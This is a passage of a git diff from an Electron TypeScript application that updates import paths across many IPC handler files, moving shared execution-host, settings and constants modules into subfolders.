a/src/main/ipc/filesystem/filesystem-git-at-risk-local-files-handlers.ts +++ b/src/main/ipc/filesystem/filesystem-git-at-risk-local-files-handlers.ts @@ -3,7 +3,7 @@ import { readWorktreeAtRiskLocalFiles } from '../../git/worktrees/removal/worktr import type { WorktreeAtRiskLocalFiles } from '../../../shared/worktree/removal/at-risk-local-files' import { getLocalRepoForRegisteredWorktree } from '../local-worktree-runtime-options' import { requireReachableGitRoute } from '../../providers/execution-host-provider-dispatch' -import { getConnectionExecutionHostId } from '../../../shared/execution-host' +import { getConnectionExecutionHostId } from '../../../shared/execution-host/execution-host' import type { FilesystemHandlerContext } from './filesystem-handler-context' import { readWorktreeGitUnlessWslStopped } from './wsl-gated-worktree-git-read' diff --git a/src/main/ipc/filesystem/filesystem-git-commit-generation-handlers.ts b/src/main/ipc/filesystem/filesystem-git-commit-generation-handlers.ts index 3348d9133c2..c29ad9352de 100644 --- a/src/main/ipc/filesystem/filesystem-git-commit-generation-handlers.ts +++ b/src/main/ipc/filesystem/filesystem-git-commit-generation-handlers.ts @@ -3,7 +3,7 @@ import { textGenerationFailureCodeFields } from '../../../shared/text-generation/text-generation-failure-copy' import { ipcMain } from 'electron' -import type { GlobalSettings } from '../../../shared/global-settings-types' +import type { GlobalSettings } from '../../../shared/settings/global-settings-types' import type { ResolvedSourceControlAiGenerationParams } from '../../../shared/source-control/ai/source-control-ai-operation-resolution' import { cancelGenerateCommitMessageLocal, diff --git a/src/main/ipc/filesystem/filesystem-git-commit-handlers.ts b/src/main/ipc/filesystem/filesystem-git-commit-handlers.ts index bb608f9f274..0fc9fddc0c1 100644 --- a/src/main/ipc/filesystem/filesystem-git-commit-handlers.ts +++ b/src/main/ipc/filesystem/filesystem-git-commit-handlers.ts @@ -7,7 +7,7 @@ import { resolveRegisteredWorktreePath } from '../worktrees/removal/registered-w import { getLocalGitOptionsForRegisteredWorktree } from '../local-worktree-runtime-options' import type { FilesystemHandlerContext } from './filesystem-handler-context' import { requireReachableGitRoute } from '../../providers/execution-host-provider-dispatch' -import { getConnectionExecutionHostId } from '../../../shared/execution-host' +import { getConnectionExecutionHostId } from '../../../shared/execution-host/execution-host' export function registerFilesystemGitCommitHandlers(context: FilesystemHandlerContext): void { const { store } = context diff --git a/src/main/ipc/filesystem/filesystem-git-diff-handlers.ts b/src/main/ipc/filesystem/filesystem-git-diff-handlers.ts index fc7a610e49c..94760961124 100644 --- a/src/main/ipc/filesystem/filesystem-git-diff-handlers.ts +++ b/src/main/ipc/filesystem/filesystem-git-diff-handlers.ts @@ -8,7 +8,7 @@ import { } from './access/filesystem-path-containment' import type { FilesystemHandlerContext } from './filesystem-handler-context' import { requireReachableGitRoute } from '../../providers/execution-host-provider-dispatch' -import { getConnectionExecutionHostId } from '../../../shared/execution-host' +import { getConnectionExecutionHostId } from '../../../shared/execution-host/execution-host' import { readWorktreeGitUnlessWslStopped } from './wsl-gated-worktree-git-read' export function registerFilesystemGitDiffHandlers(context: FilesystemHandlerContext): void { diff --git a/src/main/ipc/filesystem/filesystem-git-history-handlers.ts b/src/main/ipc/filesystem/filesystem-git-history-handlers.ts index 03c2cde074f..c7e6d6078c0 100644 --- a/src/main/ipc/filesystem/filesystem-git-history-handlers.ts +++ b/src/main/ipc/filesystem/filesystem-git-history-handlers.ts @@ -4,7 +4,7 @@ import type { GitHistoryResult } from '../../../shared/git/history/git-history-types' import { getHistory, getHistoryRefs } from '../../git/source-control/history' -import { getConnectionExecutionHostId } from '../../../shared/execution-host' +import { getConnectionExecutionHostId } from '../../../shared/execution-host/execution-host' import { requireReachableGitRoute } from '../../providers/execution-host-provider-dispatch' import { readWorktreeGitUnlessWslStopped } from './wsl-gated-worktree-git-read' import type { FilesystemHandlerContext } from './filesystem-handler-context' diff --git a/src/main/ipc/filesystem/filesystem-git-index-handlers.ts b/src/main/ipc/filesystem/filesystem-git-index-handlers.ts index 764faf455ef..9cab7820b69 100644 --- a/src/main/ipc/filesystem/filesystem-git-index-handlers.ts +++ b/src/main/ipc/filesystem/filesystem-git-index-handlers.ts @@ -21,7 +21,7 @@ import { validateGitRelativeFilePath } from './access/filesystem-path-containmen import type { FilesystemHandlerContext } from './filesystem-handler-context' import { parseGitStageWorktreeScope } from '../../../shared/git/paths/git-stage-worktree-scope' import { requireReachableGitRoute } from '../../providers/execution-host-provider-dispatch' -import { getConnectionExecutionHostId } from '../../../shared/execution-host' +import { getConnectionExecutionHostId } from '../../../shared/execution-host/execution-host' import { CONFLICT_RESOLUTIONS, type ConflictResolution diff --git a/src/main/ipc/filesystem/filesystem-git-pull-request-generation-handlers.ts b/src/main/ipc/filesystem/filesystem-git-pull-request-generation-handlers.ts index fcd9203ef0b..9121045e021 100644 --- a/src/main/ipc/filesystem/filesystem-git-pull-request-generation-handlers.ts +++ b/src/main/ipc/filesystem/filesystem-git-pull-request-generation-handlers.ts @@ -3,7 +3,7 @@ import { textGenerationFailureCodeFields } from '../../../shared/text-generation/text-generation-failure-copy' import { ipcMain } from 'electron' -import type { GlobalSettings } from '../../../shared/global-settings-types' +import type { GlobalSettings } from '../../../shared/settings/global-settings-types' import type { ResolvedSourceControlAiGenerationParams } from '../../../shared/source-control/ai/source-control-ai-operation-resolution' import type { HostedReviewProvider } from '../../../shared/source-control/hosted-review/hosted-review-contracts' import { diff --git a/src/main/ipc/filesystem/filesystem-git-status-handlers.ts b/src/main/ipc/filesystem/filesystem-git-status-handlers.ts index 495556f449b..cae0a54f9df 100644 --- a/src/main/ipc/filesystem/filesystem-git-status-handlers.ts +++ b/src/main/ipc/filesystem/filesystem-git-status-handlers.ts @@ -36,7 +36,7 @@ import { applyGitStatusUpstreamRefWatchRequest } from '../worktrees/git/git-stat import type { FilesystemHandlerContext } from './filesystem-handler-context' import { readWorktreeGitUnlessWslStopped } from './wsl-gated-worktree-git-read' import { requireReachableGitRoute } from '../../providers/execution-host-provider-dispatch' -import { getConnectionExecutionHostId } from '../../../shared/execution-host' +import { getConnectionExecutionHostId } from '../../../shared/execution-host/execution-host' import { assertWslUncPathRunning, noteWslDistroWokenForPath, diff --git a/src/main/ipc/filesystem/filesystem-git-url-handlers.ts b/src/main/ipc/filesystem/filesystem-git-url-handlers.ts index c1095db6f2b..66f328d6deb 100644 --- a/src/main/ipc/filesystem/filesystem-git-url-handlers.ts +++ b/src/main/ipc/filesystem/filesystem-git-url-handlers.ts @@ -6,7 +6,7 @@ import { getLocalGitOptionsForRegisteredWorktree } from '../local-worktree-runti import { validateFullGitObjectId } from './access/filesystem-path-containment' import type { FilesystemHandlerContext } from './filesystem-handler-context' import { requireReachableGitRoute } from '../../providers/execution-host-provider-dispatch' -import { getConnectionExecutionHostId } from '../../../shared/execution-host' +import { getConnectionExecutionHostId } from '../../../shared/execution-host/execution-host' export function registerFilesystemGitUrlHandlers(context: FilesystemHandlerContext): void { const { store } = context diff --git a/src/main/ipc/filesystem/git-remote/branch-mutation-handlers.ts b/src/main/ipc/filesystem/git-remote/branch-mutation-handlers.ts index 5366c3320ea..4f98c35776e 100644 --- a/src/main/ipc/filesystem/git-remote/branch-mutation-handlers.ts +++ b/src/main/ipc/filesystem/git-remote/branch-mutation-handlers.ts @@ -8,7 +8,7 @@ import { getLocalGitOptionsForRegisteredWorktree } from '../../local-worktree-ru import { ipcGitWorktreeTarget, materializeWorktreePushTargetRemote } from '../../worktree-remote' import type { FilesystemHandlerContext } from '../filesystem-handler-context' import { requireReachableGitRoute } from '../../../providers/execution-host-provider-dispatch' -import { getConnectionExecutionHostId } from '../../../../shared/execution-host' +import { getConnectionExecutionHostId } from '../../../../shared/execution-host/execution-host' export function registerGitRemoteBranchMutationHandlers(context: FilesystemHandlerContext): void { const { store } = context diff --git a/src/main/ipc/filesystem/git-remote/compare-handlers.ts b/src/main/ipc/filesystem/git-remote/compare-handlers.ts index 4baa7ed7a5a..676f40a919c 100644 --- a/src/main/ipc/filesystem/git-remote/compare-handlers.ts +++ b/src/main/ipc/filesystem/git-remote/compare-handlers.ts @@ -11,7 +11,7 @@ import { validateFullGitObjectId } from '../access/filesystem-path-containment' import type { FilesystemHandlerContext } from '../filesystem-handler-context' import type { GitAdmissionTier } from '../../../../shared/rpc-contract/source-control/git-admission-tier-params' import { requireReachableGitRoute } from '../../../providers/execution-host-provider-dispatch' -import { getConnectionExecutionHostId } from '../../../../shared/execution-host' +import { getConnectionExecutionHostId } from '../../../../shared/execution-host/execution-host' import { assertWslUncPathRunning } from '../../../wsl/filesystem/wsl-unc-access-gate' export function registerGitRemoteCompareHandlers(context: FilesystemHandlerContext): void { diff --git a/src/main/ipc/filesystem/git-remote/sync-handlers.ts b/src/main/ipc/filesystem/git-remote/sync-handlers.ts index cb0328590eb..07503a448fd 100644 --- a/src/main/ipc/filesystem/git-remote/sync-handlers.ts +++ b/src/main/ipc/filesystem/git-remote/sync-handlers.ts @@ -16,7 +16,7 @@ import { import { ipcGitWorktreeTarget, materializeWorktreePushTargetRemote } from '../../worktree-remote' import type { FilesystemHandlerContext } from '../filesystem-handler-context' import { requireReachableGitRoute } from '../../../providers/execution-host-provider-dispatch' -import { getConnectionExecutionHostId } from '../../../../shared/execution-host' +import { getConnectionExecutionHostId } from '../../../../shared/execution-host/execution-host' import { assertWslUncPathRunning } from '../../../wsl/filesystem/wsl-unc-access-gate' export function registerGitRemoteSyncHandlers(context: FilesystemHandlerContext): void { diff --git a/src/main/ipc/floating-workspace-directory.test.ts b/src/main/ipc/floating-workspace-directory.test.ts index 3d98faa8117..e4c2e97e0c0 100644 --- a/src/main/ipc/floating-workspace-directory.test.ts +++ b/src/main/ipc/floating-workspace-directory.test.ts @@ -3,7 +3,7 @@ import os from 'node:os' import path from 'node:path' import { afterEach, beforeEach, describe, expect, it } from 'vitest' import { installFakeAppEnvironment } from '../../../config/scripts/test-runtime/environment/vitest-host-ports-setup' -import type { GlobalSettings } from '../../shared/global-settings-types' +import type { GlobalSettings } from '../../shared/settings/global-settings-types' import { getFloatingWorkspaceFileRoots, diff --git a/src/main/ipc/floating-workspace-directory.ts b/src/main/ipc/floating-workspace-directory.ts index fbbc8a234b0..4253fa5eeb2 100644 --- a/src/main/ipc/floating-workspace-directory.ts +++ b/src/main/ipc/floating-workspace-directory.ts @@ -2,8 +2,8 @@ import { constants as fsConstants, realpathSync } from 'node:fs' import { access, mkdir, realpath, stat } from 'node:fs/promises' import path from 'node:path' import { getAppEnvironment } from '../../shared/app-lifecycle/app-environment' -import type { GlobalSettings } from '../../shared/global-settings-types' -import type { FloatingTerminalCwdRequest } from '../../shared/ui-chrome-types' +import type { GlobalSettings } from '../../shared/settings/global-settings-types' +import type { FloatingTerminalCwdRequest } from '../../shared/ui-chrome/ui-chrome-types' import type { Store } from '../persistence/loading-store/store' import { resolveFloatingWorkspacePath } from '../persistence/restoring-sessions/floating-workspace-normalization' diff --git a/src/main/ipc/folder-repo-git-upgrade.ts b/src/main/ipc/folder-repo-git-upgrade.ts index cef77fd2bf6..66299a6e4c0 100644 --- a/src/main/ipc/folder-repo-git-upgrade.ts +++ b/src/main/ipc/folder-repo-git-upgrade.ts @@ -3,7 +3,10 @@ import { join } from 'node:path' import type { BrowserWindow } from 'electron' import type { Repo } from '../../shared/repository/repo-types' import type { Store } from '../persistence/loading-store/store' -import { getRepoExecutionHostId, LOCAL_EXECUTION_HOST_ID } from '../../shared/execution-host' +import { + getRepoExecutionHostId, + LOCAL_EXECUTION_HOST_ID +} from '../../shared/execution-host/execution-host' import { isFolderRepo } from '../../shared/repository/repo-kind' import { findExtraFolderWorkspaceIds } from '../workspaces/catalog/folder-workspace-meta-presence' import { normalizeRuntimePathForComparison } from '../../shared/file-access/cross-platform-path' diff --git a/src/main/ipc/hooks/register-worktree-hook-check-handler.ts b/src/main/ipc/hooks/register-worktree-hook-check-handler.ts index 33faaf8b1c2..e258a294d11 100644 --- a/src/main/ipc/hooks/register-worktree-hook-check-handler.ts +++ b/src/main/ipc/hooks/register-worktree-hook-check-handler.ts @@ -3,7 +3,7 @@ import { getRepoDialableSshTargetId, isRepoOnCatalogHost, type ExecutionHostId -} from '../../../shared/execution-host' +} from '../../../shared/execution-host/execution-host' import { scopeHooksToRepoKind } from '../../../shared/folder-workspaces/folder-workspace-hooks' import { isFolderRepo } from '../../../shared/repository/repo-kind' import { hasHooksFile, loadHooks, hasUnrecognizedOrcaYamlKeys } from '../../workspace-hooks/hooks' diff --git a/src/main/ipc/hooks/register-worktree-hook-file-handlers.ts b/src/main/ipc/hooks/register-worktree-hook-file-handlers.ts index 03ac5c7172f..7ba2ed68eb9 100644 --- a/src/main/ipc/hooks/register-worktree-hook-file-handlers.ts +++ b/src/main/ipc/hooks/register-worktree-hook-file-handlers.ts @@ -1,6 +1,9 @@ import { getLocalProjectWorktreeGitOptions } from '../../workspaces/execution-host/project-runtime-git-options' import { ipcMain } from 'electron' -import { getRepoDialableSshTargetId, type ExecutionHostId } from '../../../shared/execution-host' +import { + getRepoDialableSshTargetId, + type ExecutionHostId +} from '../../../shared/execution-host/execution-host' import { isFolderRepo } from '../../../shared/repository/repo-kind' import { joinWorktreeRelativePath } from '../../runtime/files/paths/runtime-relative-paths' import { diff --git a/src/main/ipc/hooks/register-worktree-hook-inspection-handler.ts b/src/main/ipc/hooks/register-worktree-hook-inspection-handler.ts index 722cf1bd341..6edaa6f73e1 100644 --- a/src/main/ipc/hooks/register-worktree-hook-inspection-handler.ts +++ b/src/main/ipc/hooks/register-worktree-hook-inspection-handler.ts @@ -1,5 +1,8 @@ import { ipcMain } from 'electron' -import { getRepoDialableSshTargetId, type ExecutionHostId } from '../../../shared/execution-host' +import { + getRepoDialableSshTargetId, + type ExecutionHostId +} from '../../../shared/execution-host/execution-host' import { isFolderRepo } from '../../../shared/repository/repo-kind' import { inspectSetupScriptImportCandidates } from '../../../shared/workspace-setup/setup-script-imports' import { joinWorktreeRelativePath } from '../../runtime/files/paths/runtime-relative-paths' diff --git a/src/main/ipc/network-settings-sanitization.ts b/src/main/ipc/network-settings-sanitization.ts index 30abfa982c8..53e9ce02c78 100644 --- a/src/main/ipc/network-settings-sanitization.ts +++ b/src/main/ipc/network-settings-sanitization.ts @@ -1,4 +1,4 @@ -import type { GlobalSettings } from '../../shared/global-settings-types' +import type { GlobalSettings } from '../../shared/settings/global-settings-types' import { normalizeNodeDistMirrorUrl } from '../../shared/node-runtime/node-dist-mirror' import { normalizeProxyBypassRules, normalizeProxyUrl } from '../../shared/network/network-proxy' diff --git a/src/main/ipc/plugin-marketplaces.test.ts b/src/main/ipc/plugin-marketplaces.test.ts index 52a8de7da68..54b120e4748 100644 --- a/src/main/ipc/plugin-marketplaces.test.ts +++ b/src/main/ipc/plugin-marketplaces.test.ts @@ -1,5 +1,5 @@ import { beforeEach, describe, expect, it, vi } from 'vitest' -import { getDefaultSettings } from '../../shared/constants' +import { getDefaultSettings } from '../../shared/orca-profiles/constants' import type { PluginMarketplaceInstaller } from '../plugins/catalog/plugin-marketplace-installer' import type { PluginMarketplaceService } from '../plugins/catalog/plugin-marketplace-service' import type { PluginService } from '../plugins/plugin-service' diff --git a/src/main/ipc/plugin-marketplaces.ts b/src/main/ipc/plugin-marketplaces.ts index 38bc192f6db..7964502fe68 100644 --- a/src/main/ipc/plugin-marketplaces.ts +++ b/src/main/ipc/plugin-marketplaces.ts @@ -18,7 +18,7 @@ import type { PluginAutoUpdateState, PluginUpdateReviewNotice } from '../../shared/plugins/catalog/plugin-update-policy' -import type { GlobalSettings } from '../../shared/global-settings-types' +import type { GlobalSettings } from '../../shared/settings/global-settings-types' import { pluginFileTypeSchema } from '../../shared/plugins/contributions/plugin-file-type' import { findPluginFileTypeSuggestion } from '../plugins/catalog/plugin-file-type-suggestion' import { refreshInstalledPluginCatalog } from '../plugins/catalog/plugin-marketplace-shared-refresh' diff --git a/src/main/ipc/preflight-wsl-stopped-distro.test.ts b/src/main/ipc/preflight-wsl-stopped-distro.test.ts index 674860d1fbb..58be3dc1272 100644 --- a/src/main/ipc/preflight-wsl-stopped-distro.test.ts +++ b/src/main/ipc/preflight-wsl-stopped-distro.test.ts @@ -53,7 +53,7 @@ vi.mock('../gitea/client', () => ({ import { registerPreflightHandlers } from './preflight' import { _resetPreflightCache } from '../preflight/agent-detection' -import { getDefaultSettings } from '../../shared/constants' +import { getDefaultSettings } from '../../shared/orca-profiles/constants' const UBUNTU = { wslDistro: 'Ubuntu' } diff --git a/src/main/ipc/profiles/orca-profiles.ts b/src/main/ipc/profiles/orca-profiles.ts index 38869243588..2b830f958cd 100644 --- a/src/main/ipc/profiles/orca-profiles.ts +++ b/src/main/ipc/profiles/orca-profiles.ts @@ -37,7 +37,7 @@ import { flushActiveProfileBeforeFileMutation, flushActiveProfileBeforeRelaunch } from '../../orca-profiles/storage/profile-persistence-deadline' -import { normalizeExecutionHostId } from '../../../shared/execution-host' +import { normalizeExecutionHostId } from '../../../shared/execution-host/execution-host' import { createCloudLinkedOrcaProfile, connectCurrentOrcaProfile, diff --git a/src/main/ipc/pty/configured-terminal-shell-args.ts b/src/main/ipc/pty/configured-terminal-shell-args.ts index 5d4d0889483..33806c51b98 100644 --- a/src/main/ipc/pty/configured-terminal-shell-args.ts +++ b/src/main/ipc/pty/configured-terminal-shell-args.ts @@ -1,4 +1,4 @@ -import type { GlobalSettings } from '../../../shared/global-settings-types' +import type { GlobalSettings } from '../../../shared/settings/global-settings-types' /** Keep configured shell profiles consistent between renderer IPC and runtime-controller spawns. */ export function resolveConfiguredTerminalShellArgs(params: { diff --git a/src/main/ipc/pty/delivery/pty-hidden-delivery-gate.ts b/src/main/ipc/pty/delivery/pty-hidden-delivery-gate.ts index fe30ac5e4e5..e7779f1963f 100644 --- a/src/main/ipc/pty/delivery/pty-hidden-delivery-gate.ts +++ b/src/main/ipc/pty/delivery/pty-hidden-delivery-gate.ts @@ -1,5 +1,5 @@ /** Drop hidden renderer delivery after model ingestion; reveal restores a snapshot, while sidecar interest keeps raw bytes flowing. */ -import type { GlobalSettings } from '../../../../shared/global-settings-types' +import type { GlobalSettings } from '../../../../shared/settings/global-settings-types' import { _resetPtyEscapeBoundaryForTest, clearPtyEscapeBoundary } from './pty-escape-boundary' export type HiddenPtyDeliveryGateSettings = Pick< diff --git a/src/main/ipc/pty/host-env/codex-home.ts b/src/main/ipc/pty/host-env/codex-home.ts index b66c58aebc1..d0c1f642aee 100644 --- a/src/main/ipc/pty/host-env/codex-home.ts +++ b/src/main/ipc/pty/host-env/codex-home.ts @@ -1,5 +1,5 @@ import { normalizeRuntimePathForComparison } from '../../../../shared/file-access/cross-platform-path' -import type { GlobalSettings } from '../../../../shared/global-settings-types' +import type { GlobalSettings } from '../../../../shared/settings/global-settings-types' import { isCodexHomeAuthReadyForLaunch, waitForManagedCodexAuthReady diff --git a/src/main/ipc/pty/host-env/saved-resume-admission.ts b/src/main/ipc/pty/host-env/saved-resume-admission.ts index 3df3429f4d1..e10a59a9892 100644 --- a/src/main/ipc/pty/host-env/saved-resume-admission.ts +++ b/src/main/ipc/pty/host-env/saved-resume-admission.ts @@ -16,7 +16,8 @@ import { listStructuredProviderSessionOwnership } from '../../../native-chat/agent-session-wire/host/structured-provider-session-ownership' import { agentHookServer } from '../../../agent-hooks/server/agent-hook-server' -import { LOCAL_EXECUTION_HOST_ID, type ExecutionHostId } from '../../../../shared/execution-host' +// oxfmt-ignore +import { LOCAL_EXECUTION_HOST_ID, type ExecutionHostId } from '../../../../shared/execution-host/execution-host' import type { WorkspaceSessionState } from '../../../../shared/workspace-session/workspace-session-state-types' import { keysMayMatch, diff --git a/src/main/ipc/pty/host-env/spawn-cwd.ts b/src/main/ipc/pty/host-env/spawn-cwd.ts index d1a6518a94b..8b2af933781 100644 --- a/src/main/ipc/pty/host-env/spawn-cwd.ts +++ b/src/main/ipc/pty/host-env/spawn-cwd.ts @@ -3,7 +3,7 @@ import type { FolderWorkspace } from '../../../../shared/folder-workspaces/folde import { getConnectionExecutionHostId, type ExecutionHostId -} from '../../../../shared/execution-host' +} from '../../../../shared/execution-host/execution-host' import { stat } from 'node:fs/promises' import type { Store } from '../../../persistence/loading-store/store' import { parseWorkspaceKey } from '../../../../shared/workspace/identity/workspace-scope' diff --git a/src/main/ipc/pty/ipc/claude-diff-panel-notice.ts b/src/main/ipc/pty/ipc/claude-diff-panel-notice.ts index 7023c9c93a7..da7688b8882 100644 --- a/src/main/ipc/pty/ipc/claude-diff-panel-notice.ts +++ b/src/main/ipc/pty/ipc/claude-diff-panel-notice.ts @@ -1,5 +1,5 @@ import { isRemoteRuntimePtyId } from '../../../../shared/remote-runtime/remote-runtime-pty-id' -import { LOCAL_EXECUTION_HOST_ID } from '../../../../shared/execution-host' +import { LOCAL_EXECUTION_HOST_ID } from '../../../../shared/execution-host/execution-host' import { getPtyIpc } from '../pty-host-bindings' import { parseAppSshPtyId } from '../../../../shared/remote-runtime/ssh/ssh-pty-id' import { claudeDiffPanelMayAutoOpen } from '../../../claude/configuration/claude-diff-panel-auto-open' diff --git a/src/main/ipc/pty/ipc/codex-shared-server.ts b/src/main/ipc/pty/ipc/codex-shared-server.ts index 2f3eb6f32dd..b067fb942b5 100644 --- a/src/main/ipc/pty/ipc/codex-shared-server.ts +++ b/src/main/ipc/pty/ipc/codex-shared-server.ts @@ -17,7 +17,7 @@ import { import type { CodexSharedServerStatus } from '../../../../shared/agent-launch/startup/codex-shared-server-command' import { ptyOwnership } from '../provider/ownership-state' import { getProviderForPty, hasPtyProviderForInspection } from '../provider/registry' -import { LOCAL_EXECUTION_HOST_ID } from '../../../../shared/execution-host' +import { LOCAL_EXECUTION_HOST_ID } from '../../../../shared/execution-host/execution-host' // Wrapper availability depends on shell and daemon version; cmd.exe and unknown shells have none. const CODEX_SHELL_FUNCTION_PROTOCOL_BY_SHELL: ReadonlyMap = new Map([ diff --git a/src/main/ipc/pty/ipc/inspect.ts b/src/main/ipc/pty/ipc/inspect.ts index 28cf7c838d2..f3d747bad0d 100644 --- a/src/main/ipc/pty/ipc/inspect.ts +++ b/src/main/ipc/pty/ipc/inspect.ts @@ -10,7 +10,7 @@ import { tryGetProviderForPty, type ResolvedPtyHost } from '../provider/registry' -import { LOCAL_EXECUTION_HOST_ID } from '../../../../shared/execution-host' +import { LOCAL_EXECUTION_HOST_ID } from '../../../../shared/execution-host/execution-host' import { parsePtySessionId } from '../../../../shared/terminal/pty/lifecycle/pty-session-id-format' import { mapWithConcurrency } from '../../../../shared/concurrency/map-with-concurrency' import { installPtySessionListingIpcHandler } from './session-listing' diff --git a/src/main/ipc/pty/ipc/renderer-kill.ts b/src/main/ipc/pty/ipc/renderer-kill.ts index a7b6e6ad92e..ab0a88849f3 100644 --- a/src/main/ipc/pty/ipc/renderer-kill.ts +++ b/src/main/ipc/pty/ipc/renderer-kill.ts @@ -2,7 +2,7 @@ import type { PtyFencedTerminationRequest, PtyFencedTerminationOutcome } from '../../../../shared/terminal/pty/lifecycle/pty-fenced-termination' -import { LOCAL_EXECUTION_HOST_ID } from '../../../../shared/execution-host' +import { LOCAL_EXECUTION_HOST_ID } from '../../../../shared/execution-host/execution-host' import { isRemoteRuntimePtyId } from '../../../../shared/remote-runtime/remote-runtime-pty-id' import { getPtyIpc } from '../pty-host-bindings' import type { Store } from '../../../persistence/loading-store/store' diff --git a/src/main/ipc/pty/ipc/session-listing.ts b/src/main/ipc/pty/ipc/session-listing.ts index 9e3fef3ff67..f0b0dc356dc 100644 --- a/src/main/ipc/pty/ipc/session-listing.ts +++ b/src/main/ipc/pty/ipc/session-listing.ts @@ -15,7 +15,7 @@ import { getProvider, registeredPtyProviders, type ResolvedPtyHost } from '../pr import { getConnectionExecutionHostId, LOCAL_EXECUTION_HOST_ID -} from '../../../../shared/execution-host' +} from '../../../../shared/execution-host/execution-host' export function installPtySessionListingIpcHandler(deps: { getLocalPtyProviderStartupPromise: (hostId?: ResolvedPtyHost) => Promise | undefined diff --git a/src/main/ipc/pty/ipc/spawn-preflight.ts b/src/main/ipc/pty/ipc/spawn-preflight.ts index 3f82ea0a723..67b7aa1eaf0 100644 --- a/src/main/ipc/pty/ipc/spawn-preflight.ts +++ b/src/main/ipc/pty/ipc/spawn-preflight.ts @@ -10,7 +10,7 @@ import { getProvider } from '../provider/registry' import { resolvePtySpawnStartupTarget } from '../spawn-startup-target' import type { PtyIpcSpawnState } from './spawn-state' import { localPtySpawnCwd } from '../host-env/spawn-cwd' -import { getConnectionExecutionHostId } from '../../../../shared/execution-host' +import { getConnectionExecutionHostId } from '../../../../shared/execution-host/execution-host' export async function preparePtyIpcSpawnPreflight(ctx: PtyIpcSpawnState): Promise { const args = ctx.args diff --git a/src/main/ipc/pty/ipc/spawn-push-target-materialization.ts b/src/main/ipc/pty/ipc/spawn-push-target-materialization.ts index 423abdbc816..51ab25b7f95 100644 --- a/src/main/ipc/pty/ipc/spawn-push-target-materialization.ts +++ b/src/main/ipc/pty/ipc/spawn-push-target-materialization.ts @@ -1,7 +1,10 @@ import { splitWorktreeIdForFilesystem } from '../../../../shared/worktree/id' import { triggerTerminalSpawnPushTargetMaterialization } from '../../../runtime/terminal/launch/runtime-terminal-spawn-push-target-materialization' import type { PtySpawnIpcArgs, PtySpawnIpcDeps } from './spawn-types' -import { getRepoExecutionHostId, LOCAL_EXECUTION_HOST_ID } from '../../../../shared/execution-host' +import { + getRepoExecutionHostId, + LOCAL_EXECUTION_HOST_ID +} from '../../../../shared/execution-host/execution-host' import { isWslMoveWorktreeBlocked } from '../../../persistence/moving-wsl-projects/orchestration/wsl-move-background-backoff' // GUI terminals can run Git before Orca sync; request deferred push-target setup on spawn and reattach (#17828). diff --git a/src/main/ipc/pty/ipc/spawn-types.ts b/src/main/ipc/pty/ipc/spawn-types.ts index 399d9489c8c..3623a00c9ef 100644 --- a/src/main/ipc/pty/ipc/spawn-types.ts +++ b/src/main/ipc/pty/ipc/spawn-types.ts @@ -8,7 +8,7 @@ import type { } from '../../../../shared/agent-session/lifecycle/agent-session-resume' import type { ProjectExecutionRuntimeResolution } from '../../../../shared/execution-host/project-execution-runtime' import type { StartupCommandDelivery } from '../../../../shared/agent-launch/startup/codex-startup-delivery' -import type { GlobalSettings } from '../../../../shared/global-settings-types' +import type { GlobalSettings } from '../../../../shared/settings/global-settings-types' import type { TerminalStartupCwdMissingDirFallback } from '../../../../shared/shell/launch/terminal-startup-cwd' import type { OrcaRuntimeService } from '../../../runtime/orca-runtime' import type { Store } from '../../../persistence/loading-store/store' diff --git a/src/main/ipc/pty/ipc/spawn.ts b/src/main/ipc/pty/ipc/spawn.ts index 733fca75e9d..6d8ef14c283 100644 --- a/src/main/ipc/pty/ipc/spawn.ts +++ b/src/main/ipc/pty/ipc/spawn.ts @@ -2,7 +2,7 @@ import { formatTerminalStartFailure } from '../../../../shared/terminal/pty/life import { getPtyIpc } from '../pty-host-bindings' import { runPtyIpcSpawn } from './spawn-run' import type { PtySpawnIpcArgs, PtySpawnIpcDeps } from './spawn-types' -import { getConnectionExecutionHostId } from '../../../../shared/execution-host' +import { getConnectionExecutionHostId } from '../../../../shared/execution-host/execution-host' import { attachOnlyViewOf, attachViewAfterHiddenStart } from '../pane/attach-only-view' export function installPtySpawnIpcHandler(deps: PtySpawnIpcDeps): void { diff --git a/src/main/ipc/pty/ipc/write-input.ts b/src/main/ipc/pty/ipc/write-input.ts index 030e7acbc76..1e803f7ef11 100644 --- a/src/main/ipc/pty/ipc/write-input.ts +++ b/src/main/ipc/pty/ipc/write-input.ts @@ -10,7 +10,7 @@ import { } from '../../../../shared/terminal/input/terminal-input' import { ptyOwnership } from '../provider/ownership-state' import { tryGetProviderForPty } from '../provider/registry' -import { LOCAL_EXECUTION_HOST_ID } from '../../../../shared/execution-host' +import { LOCAL_EXECUTION_HOST_ID } from '../../../../shared/execution-host/execution-host' import type { TerminalInputKind } from '../../../../shared/terminal/input/terminal-input-kind' import { interactiveOutputCharsByPty, lastInputAtByPty } from '../delivery/visibility-state' import { diff --git a/src/main/ipc/pty/local-startup-promises.ts b/src/main/ipc/pty/local-startup-promises.ts index 19abb51e09e..571f187f9d8 100644 --- a/src/main/ipc/pty/local-startup-promises.ts +++ b/src/main/ipc/pty/local-startup-promises.ts @@ -4,7 +4,7 @@ import type { ResolvedPtyHost } from './provider/registry' import type { PtyIpcSessionOptions } from './session' -import { LOCAL_EXECUTION_HOST_ID } from '../../../shared/execution-host' +import { LOCAL_EXECUTION_HOST_ID } from '../../../shared/execution-host/execution-host' export function createLocalPtyStartupPromises(options?: PtyIpcSessionOptions) { // Only local PTYs change ownership during this machine's daemon swap. diff --git a/src/main/ipc/pty/pane/absent-pane-owner.ts b/src/main/ipc/pty/pane/absent-pane-owner.ts index ed117c2430b..54d665705d4 100644 --- a/src/main/ipc/pty/pane/absent-pane-owner.ts +++ b/src/main/ipc/pty/pane/absent-pane-owner.ts @@ -1,4 +1,4 @@ -import { toSshExecutionHostId } from '../../../../shared/execution-host' +import { toSshExecutionHostId } from '../../../../shared/execution-host/execution-host' import { UNVERIFIED_PROCESS_EXIT_CODE } from '../../../../shared/terminal/pty/lifecycle/terminal-exit-cause' import type { Store } from '../../../persistence/loading-store/store' import type { OrcaRuntimeService } from '../../../runtime/orca-runtime' diff --git a/src/main/ipc/pty/pane/adopt-stable.ts b/src/main/ipc/pty/pane/adopt-stable.ts index 5a9a73c9b95..50fe5cb2b3e 100644 --- a/src/main/ipc/pty/pane/adopt-stable.ts +++ b/src/main/ipc/pty/pane/adopt-stable.ts @@ -4,7 +4,7 @@ import { hasClosedTerminalTabRecord } from '../../../../shared/workspace-layout/ import { toSshExecutionHostId, getConnectionExecutionHostId -} from '../../../../shared/execution-host' +} from '../../../../shared/execution-host/execution-host' import { ptyIncarnationById } 